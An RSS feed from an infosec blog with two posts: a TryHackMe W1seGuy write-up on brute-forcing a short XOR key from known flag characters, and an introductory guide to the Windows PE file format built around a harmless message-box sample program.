<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Security Matters</title>
    <description>A blog about IT, infosec, data science and their confluence</description>
    <link></link>
    <atom:link href="/feed.xml" rel="self" type="application/rss+xml" />
    <author>
      <name>Troy</name>
      <email></email>
      <uri>https://www.troywalters.com</uri>
    </author>
    
      <item>
        <title>Brute-forcing XOR encryption: tryhackme.com W1seGuy</title>
        <description>&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;Today let’s take a look at the &lt;a href=&quot;https://tryhackme.com/r/room/w1seguy&quot;&gt;W1seGuy&lt;/a&gt; tryhackme.com room. This is a newly-released room that provides an easy example of brute-forcing XOR encryption when part of the cleartext is known. I really enjoyed this one so I decided to do a writeup. This writeup does not provide the answers to the room, but will demonstrate one way to get them using some simple python. Let’s get started.&lt;/p&gt;

&lt;h3 id=&quot;task-1&quot;&gt;Task 1&lt;/h3&gt;

&lt;p&gt;The room has two tasks. Task 1 presents us with a download for some source code. Download the code and confirm you’ve done so by hitting the button.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’ll come back to the code in a second. First, let’s open Task 2 and have a look.&lt;/p&gt;

&lt;h3 id=&quot;task-2&quot;&gt;Task 2&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After starting up the VM. open an Attack Box or connect to tryhackme via VPN on your own box. I’m going to do the latter. The task states that there is a server listening on port 1337 and that we can connect to it with netcat. We also see that we will need to obtain two flags.&lt;/p&gt;

&lt;p&gt;Let’s open a terminal and connect to the machine with netcat. After doing so, we are presented with an XOR-encrypted flag and asked for the encryption key:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here I enter a random guess and am presented with the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we’ve observed the general behavior of the server, let’s take a look at the source code to see what’s going on under the hood. Open the python code in the text editor of your choice. Doing so, we see the following (truncated):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We only need to concern ourselves with certain parts of this code, as much of it is for running the server. We are only interested in that part of the code that performs the XOR encryption. On lines 23 and 24, we see the key being generated. Line 23 gives us two very important pieces of information about the key - the keyspace and the key length. The keyspace consists of the variables &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ascii_letters&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;digits&lt;/code&gt; from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;string&lt;/code&gt; library. Let’s confirm their values using python:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We see that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ascii_letters&lt;/code&gt; contains all of the uppercase and lowercase letters while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;digits&lt;/code&gt; contains the 10 digits. Returning to the code, we also see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;k=5&lt;/code&gt; argument provided to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;random.choices()&lt;/code&gt; function. So the code is randomly selecting 5 characters from the defined keyspace. Although the key itself is randomly chosen each time the server starts, the key length remains constant at 5.&lt;/p&gt;

&lt;p&gt;Now take a look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup()&lt;/code&gt; function starting on line 12, which shows us how the flag is encoded. Note that the code provided in the download is not the exact code running the server and that the flag shown here ‘THM{thisisafakeflag}’ is not the real flag. Take a look at lines 16 and 17. This is where the encryption occurs. For each character in the flag the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ord()&lt;/code&gt; function is applied, which returns the unicode code of that character. Then the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ord()&lt;/code&gt; function is applied to the respective key character. These are then XOR’d using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^&lt;/code&gt; operator and finally the result is converted back to a character. Once the entire flag in encrypted, the result is converted to hex before being sent to the user.&lt;/p&gt;

&lt;p&gt;Although we don’t know what the flag is, we are in luck because we do know part of the flag. Tryhackme flags are almost always of the format &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THM{sometext}&lt;/code&gt; and this room is no exception. We can confirm this in the screenshot of Task 2, where the placeholder for the flags are of the format &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;***{********************************************}&lt;/code&gt;. So we know that the flag starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THM{&lt;/code&gt; and ends with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;}&lt;/code&gt;. This works out in our favor because there are five known characters and we’ve already determined that our key length is also five. Also note that the ciphertext (in hex) is 80 characters long, which means that the ciphertext when converted back to utf-8 is 40 characters long. Since 40 is a multiple of our key length, the trailing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;}&lt;/code&gt; is in the perfect position to brute-force the fifth character in our key.&lt;/p&gt;

&lt;p&gt;Now that we have all of the information we need to brute-force the encryption key, let’s write a python script to do it. We’ll begin with some boilerplate code that imports the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;random&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;string&lt;/code&gt; libraries. First, we’ll get the ciphertext from the user and convert it from hex back to utf-8. Then we’ll define the keyspace and create a placeholder variable for the key.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next we will write a function that will brute force a single key character given the keyspace, the position, and the known cleartext character. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brute_single()&lt;/code&gt; function loops through each value of the keyspace, XORs it with the respective ciphertext character and checks to see if it matches the provided cleartext character. For example, in the first position, where the cleartext character is known to be ‘T’, the function will XOR each character in the keyspace with the first ciphertext character until it gets a ‘T’. When it does, the key character is then known and the function will return it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, we add five calls to the function, supplying the keyspace, position, and known cleartext character. Then we print out the key:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s now test out our script so far. I saved the python script to my Desktop as brute_xor.py. Then I open up a terminal to run the script. When prompted, we enter our hex-encoded ciphertext that we got from the server and we get the resulting key of ‘f1m30’. Note that you will get a different key, as the key is randomized every time the server runs.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we have the key, we can use it to decrypt the flag. Here we write a new function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decrypt_xor()&lt;/code&gt;. This function takes the ciphertext and the key. First it creates a placeholder variable for the cleartext. Then it loops through every character of the ciphertext and XORs that character with the respective key character, recycling the key each time we reach the end. It then returns the cleartext. Then we add some code to call the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decrypt_xor()&lt;/code&gt; function, passing in our ciphertext and the key we found. Finally, we print the cleartext to the screen. This is now the final version of our script:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next we run the script again, passing in the ciphertext from the server. Now in addition to providing the key, the script also prints the decrypted flag (redacted), which we can provide as our answer to the first question:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Last of all, let’s return to the server and provide the XOR key we discovered. Doing so should yield the second flag (redacted):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/W1seGuy/Screenshot-13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;In this room we learned how to brute force an XOR-encrypted message where both the key length and a piece of the cleartext were known. I hope that you learned as much as I did while creating this post. Cheers.&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Jun 2024 00:00:00 -0400</pubDate>
        <link>//2024/06/27/CTF-Writeup-tryhackme.com-W1seGuy/</link>
        <link href="/2024/06/27/CTF-Writeup-tryhackme.com-W1seGuy/"/>
        <guid isPermaLink="true">/2024/06/27/CTF-Writeup-tryhackme.com-W1seGuy/</guid>
      </item>
    
      <item>
        <title>Malware Analysis Fundamentals: A Guide to the PE File Format</title>
        <description>&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;Before getting started in malware analysis, it is important to first understand the fundamentals. In this post, we will explore one of those fundamentals: the PE File format. Much of the Windows-based malware that we come across today, whether in the form of.exe or .dll files, will be of this file type. In this post, we’ll write our own “malware”, take a deep dive into the PE file format, and try out some tools to peer into the guts of the Windows executable.&lt;/p&gt;

&lt;h3 id=&quot;creating-our-own-sample-malware&quot;&gt;Creating our own sample malware&lt;/h3&gt;

&lt;p&gt;Before we begin, we want some sample “malware” to work with. So, let’s make our own. Below is some very simple C code that uses the Windows &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MessageBox&lt;/code&gt; API to display a small message box on the user’s screen stating “You have been hacked!” This is a lie of course. The code does nothing else and is entirely benign. It is just an example for expository purposes.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;Windows.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;MessageBox&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPCWSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;L&quot;You have been hacked!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPCWSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;L&quot;test&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MB_OK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’ve compiled this code in Visual Studio to create an exe file called malware.exe. When we run this exe, it will create a process called malware.exe and this process will exit after the user clicks on the “OK” button in the message box. Very simple.&lt;/p&gt;

&lt;p&gt;We can observe this simple process in action below. In Process Hacker we see that process begin (highlight in green) shortly after we double-click on malware.exe and then we see it end (highlight in red) shortly after we hit the “OK” button:&lt;/p&gt;

&lt;video width=&quot;1000&quot; height=&quot;500&quot; controls=&quot;&quot;&gt;
  &lt;source src=&quot;\assets\PEFile\malware.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;p&gt;We will refer back to this sample throughout this post, so I’d encourage you to compile the above code to create your own malware.exe sample with which to work. We’ll come back to malware.exe shortly. Hopefully I’ve hooked you, because in the next section we need to go over some of the boring stuff. I’ll try to keep this brief but informative.&lt;/p&gt;

&lt;h3 id=&quot;the-pe-file-format&quot;&gt;The PE file format&lt;/h3&gt;

&lt;p&gt;So, what exactly is a PE file? PE stands for portable executable. Several types of files fall under the PE umbrella, but the two of primary concern to us right now are .exe and .dll. The PE format is essentially a data structure that lays out all of the information, in a well-defined manner, that Windows needs to run the code in the file&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. In their excellent book &lt;em&gt;Malware Analysis and Detection Engineering&lt;/em&gt;, Abhijit Mohanta and Anoop Saldanha describe the PE file format as defining:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;“…various headers that define the structure of the file, its code, its data, and the various resources that it needs. It also contains various fields that inform how much of virtual memory it needs when it is spawned into a process and where in its process’s memory to copy its various code, data, and resources”&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Essentially, the PE file format provides all the information that Windows needs to run the executable code as a process. But how does this code become a running process in Windows? A PE file is loaded into memory as a process by a component of the Windows operating system called the Windows loader. The Windows loader understands all the information provided in the PE file format and uses it as a recipe for setting up and running the code in a process.&lt;/p&gt;

&lt;h3 id=&quot;structure-of-a-pe-file&quot;&gt;Structure of a PE file&lt;/h3&gt;

&lt;p&gt;The PE file format defines a number of headers and subheaders, each of which can contain a number of fields. The tree below provides a high level view of the PE file structure:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;├── DOS Header
├── DOS Stub
├── NT Headers
  ├── File Header
  └── Optional Header
    └── Data Directories
├── Section Headers
└── Sections
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s briefly define each of the headers above.&lt;/p&gt;

&lt;p&gt;DOS Header: The DOS header comprises the first 64 bytes of the PE file&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. The DOS header defines a number of fields, some of which we explore below.&lt;/p&gt;

&lt;p&gt;DOS Stub: This is a small MS-DOS program that runs when the executable is loaded into memory. It displays the message “This program cannot be run in DOS mode.” THe DOS header and the DOS stub are provided only for backwards compatibility with the MS-DOS format&lt;sup id=&quot;fnref:4&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:4&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;NT Header: The NT headers encompasses the File Header and the Optional Header. It also contains the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Signature&lt;/code&gt; field described below.&lt;/p&gt;

&lt;p&gt;File Header: The File header, also known as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IMAGE_FILE_HEADER&lt;/code&gt;, contains information about the file that informs Windows how to handle it, including the type of machine for which the code was written&lt;sup id=&quot;fnref:5&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:5&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;. We’ll take a closer look at some of this information shortly.&lt;/p&gt;

&lt;p&gt;Optional Header: This is also known by its formal name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt;. Despite the name, the optional header is actually required for the .exe and .dll file types. It contains numerous fields that convey information to the Windows loader about how and where to load the executable into memory.&lt;/p&gt;

&lt;p&gt;Section Headers: Each section header provides information about the sections in the PE file.&lt;/p&gt;

&lt;p&gt;Sections: As mentioned above, the sections contain much of the data and code in the executable. Some of the more important sections are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;.text: Contains the executable code&lt;/li&gt;
  &lt;li&gt;.data: Contains initialized data&lt;/li&gt;
  &lt;li&gt;.rdata: Contains read-only initialized data&lt;/li&gt;
  &lt;li&gt;.bss: Contains non-initialized data&lt;/li&gt;
  &lt;li&gt;.rsrc: Contains resources such as images&lt;/li&gt;
  &lt;li&gt;.reloc: Contains information on image relocation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In addition to the headers, subheaders, and sections defined in the PE file format, there are also fields. Fields exist beneath a header or subheader and are essentially named values that provide information to Windows about the executable. If we add these fields to our diagram, we get something like below. Note that this is an abridged version that that only includes fields relevant to the discussion at hand. For a full listing of all the fields, refer to the Microsoft documentation &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;├── DOS Header
  ├── Field: e_magic
  └── Field: e_lfanew
├── DOS Stub
├── NT Headers
  ├── Field: Signature
  ├── File Header
    ├── Field: Machine
    ├── Field: NumberOfSections
    ├── Field: TimeDateStamp
    ├── Field: SizeOfOptionalHeader
    └── Field: Characteristics
  └── Optional Header
    ├── Field: AddressOfEntryPoint
    ├── Field: ImageBase
    └── Data Directories
 ├── Section Headers
 └── Sections
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;e_magic: This is the DOS signature, which for a PE file will always be the hex value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4d 5a&lt;/code&gt; (MZ in ASCII).&lt;/p&gt;

&lt;p&gt;e_lfanew: This value, located at file offset 0x3c, provides the offset of the beginning of the NT header, which is also the PE signature (see next). This value provides the Windows loader with the information it needs to find and execute the image file despite the fact that it is preceded by the DOS stub&lt;sup id=&quot;fnref:6&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:6&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;. The size of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e_lfanew&lt;/code&gt; is double-word, or 4 bytes.&lt;/p&gt;

&lt;p&gt;Signature: This value identifies the file as being of the PE format and also denotes the beginning of the NT header. Holds the 4-byte hex value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;50 45&lt;/code&gt; (PE in ASCII), followed by two null bytes.&lt;/p&gt;

&lt;p&gt;Machine: Contains the processor type on which the PE file is intended to run. For a list of machine types and their associated values, see &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#machine-types&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;NumberOfSections: The number of sections (see above) that the file has.&lt;/p&gt;

&lt;p&gt;TimeDateStamp: Contains the binary representation of the file creation time as the number of seconds since 00:00 January 1, 1970&lt;sup id=&quot;fnref:7&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:7&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;SizeOfOptionalHeader: Contains the size of the optional header.&lt;/p&gt;

&lt;p&gt;Characteristics: This field contains a number of flags indicating various file attributes. Currently there are 16 flags defined, however some are deprecated and no longer used&lt;sup id=&quot;fnref:8&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:8&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;. We are only concerned with a few for this post. These are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IMAGE_FILE_EXECUTABLE_IMAGE&lt;/code&gt;: Indicates if the file is executable.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IMAGE_FILE_32BIT_MACHINE&lt;/code&gt;: Indicates if the file was created for 32-bit architectures.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IMAGE_FILE_DLL&lt;/code&gt;: Indicates if the file is a DLL (dynamic link library).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AddressOfEntryPoint: The location of the first instruction in the program to be executed.&lt;/p&gt;

&lt;p&gt;ImageBase: indicates the preferred location in virtual memory at which the Windows loader should create space for the PE file and its data.&lt;/p&gt;

&lt;p&gt;The above is just a selection of information about the PE file structure and there is a lot more that we haven’t covered here. If you are a masochist who’d like to go deeper into the weeds, visit the Microsoft documentation &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;a-first-look-inside-malwareexe&quot;&gt;A first look inside malware.exe&lt;/h3&gt;

&lt;p&gt;Now, let’s move on to something more hands-on. How can we identify a PE file using what we learned above about the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e_magic&lt;/code&gt; field? We can examine the first two bytes of the file in a hex editor to see if they are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4d 5a&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You may ask why we even need to do this. After all, shouldn’t the file extension tell us everything we need to know? Not exactly. File extensions in Windows are used for file association. The file extension just tells Windows what program to run the file. For example, if we double-click on a .docx file, Windows knows to use Word to open it. But changing the file extension doesn’t change anything about the file itself. A Windows executable whose extension is changed from .exe to .pdf is still a Windows executable. We may run into a situation for example where we suspect that a file is an executable even though it has a different file extension. Such a scenario occurs with malware frequently.&lt;/p&gt;

&lt;p&gt;Opening malware.exe in any hex editor (here I use &lt;a href=&quot;https://mh-nexus.de/en/hxd/&quot;&gt;HxD Editor&lt;/a&gt; in Windows), we see that the first two bytes of the file are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4d 5a&lt;/code&gt; (‘MZ’ in ASCII), confirming that it is indeed a PE file. We can also observe the DOS stub string “This program cannot be run in DOS mode.”&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_HxD_magic.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On a modern Windows system, we can also use the Powershell command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Format-Hex&lt;/code&gt; to examine the raw hex of a file. Here I do so, limiting the output to just 4 lines. Again we see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4d 5a&lt;/code&gt; signature.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_FormatHex.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The next field we learned about was the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e_lfanew&lt;/code&gt; field. We know that it is located at file offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x3c&lt;/code&gt;, is 4 bytes long, and provides the offset of the beginning of the NT header. Let’s find it. We can easily find offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x3c&lt;/code&gt; using Ctrl-G and entering &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3c&lt;/code&gt; into the field, making sure the “begin” radio button is checked:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_HxD_gotoelfanew.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Upon doing so, our cursor is placed at that location:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_HxD_wenttoelfanew.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Examining the 4 bytes starting from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x3c&lt;/code&gt; yields &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;00 01 00 00&lt;/code&gt;, which is the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x100&lt;/code&gt; in hex. Wait, you might say, this looks like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x10000&lt;/code&gt; to me. What’s going on? The PE file format uses what is know as ‘little-endian’ format to store integer values, which means that the least-significant byte is on the left and the most significant byte is on the right. So we actually read these bytes in reverse to obtain the value. By that I mean that we read the bytes themselves from right to left while the two characters that make up each individual byte retain their order. So, if we convert &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;00 01 00 00&lt;/code&gt; from its little-endian format to a format more suitable for human readability, we get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;00 00 01 00&lt;/code&gt;, which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x100&lt;/code&gt; in hexadecimal. Although the concept of endianness is very important, it is outside the scope of this post. There are also plenty of online resources on the topic made by people far more qualified than I to discuss it. I suggest some research if you’d like to learn more.&lt;/p&gt;

&lt;p&gt;So, we now know that the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e_lfanew&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x100&lt;/code&gt;. Next we can go to this location in the file using Ctrl-G as we did earlier:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_HxD_gotoPE.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Upon doing so, we see that our cursor lands at offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x100&lt;/code&gt;. We’ve now reached the beginning of the NT header. If we’ve done so correctly, recall that we should now see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Signature&lt;/code&gt;, which should be the 4-byte value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;50 45 00 00&lt;/code&gt;. This is indeed the case and we also see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PE&lt;/code&gt; value on the right:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_HxD_wentToPE.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;pe-analysis-tools&quot;&gt;PE analysis tools&lt;/h3&gt;

&lt;p&gt;Great. We can now identify a PE file and locate some important data within the file using a hex editor. But combing through an endless array of bytes when doing static analysis of malware quickly becomes tedious and inefficent. Fortunately, there are a lot of tools out there that can perform this parsing of bits and bytes for us and display the information that we are looking for.&lt;/p&gt;

&lt;p&gt;Let’s begin with tools that will identify a PE file. Here are a few that I like to use; however this is by no means an exhaustive list. There are A LOT of tools out there used to inspect PE files.&lt;/p&gt;

&lt;p&gt;On a Linux system the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; command is a built-in utility used to identify file types:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_file.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Windows does not have an equivalent command-line utility out of the box. But you can install a tool such as &lt;a href=&quot;https://mark0.net/soft-trid-e.html&quot;&gt;trid&lt;/a&gt;, which works similarly:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_trid.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Rather than giving a single deterministic answer as the bash &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; utility does, trid provides several possible answers along with probabilities of its confidence. Above we see that its first choice is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Win64 Executable&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Once we’ve correctly identified a file as being of the PE file type, there are a number of tools that allows us to extract its data automatically. Below is a short list of some of those tools. There are many more than what is listed, so consider this a starting point.&lt;/p&gt;

&lt;p&gt;Windows&lt;/p&gt;
&lt;ul&gt;
